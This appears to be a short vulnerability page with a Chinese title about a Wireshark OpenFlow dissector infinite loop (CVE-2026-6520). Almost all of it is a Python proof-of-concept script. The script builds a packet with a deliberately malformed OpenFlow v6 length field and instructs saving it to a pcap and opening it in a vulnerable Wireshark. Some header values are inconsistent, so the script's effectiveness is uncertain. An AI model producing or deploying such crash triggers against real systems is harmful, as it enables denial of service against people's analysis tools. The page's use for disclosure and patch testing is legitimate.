Wireshark OpenFlow解析器无限循环漏洞(CVE-2026-6520)

#!/usr/bin/env python3 """ PoC for CVE-2026-6520 - Wireshark OpenFlow v6 Dissector Infinite Loop This script generates a malicious pcap file that triggers the infinite loop. """ import struct def create_malicious_openflow_packet(): # Create a basic Ethernet frame ethernet_header = struct.pack('!6s6sH', b'\x00'*6, b'\x00'*6, 0x0800) # Create IP header ip_header = struct.pack('!BBHHHBBH4s4s', 0x45, 0, 20, 0, 0, 0xFF, 0x06, 0, b'\x00'*4, b'\x00'*4) # Create TCP header tcp_header = struct.pack('!HHIIBBHHH', 6653, 6653, 0, 0, 0x50, 0xFF, 0, 0, 0) # Create malicious OpenFlow v6 message header with crafted length # This can trigger the infinite loop in the dissector ofp_header = struct.pack('!BBHI', 0x06, 0xFF, 0xFFFF, 0xFFFFFFFF) # Malformed length return ethernet_header + ip_header + tcp_header + ofp_header if __name__ == '__main__': packet = create_malicious_openflow_packet() print(f"[+] Generated malicious packet ({len(packet)} bytes)") print("[+] Save this packet to a pcap file and open with vulnerable Wireshark version")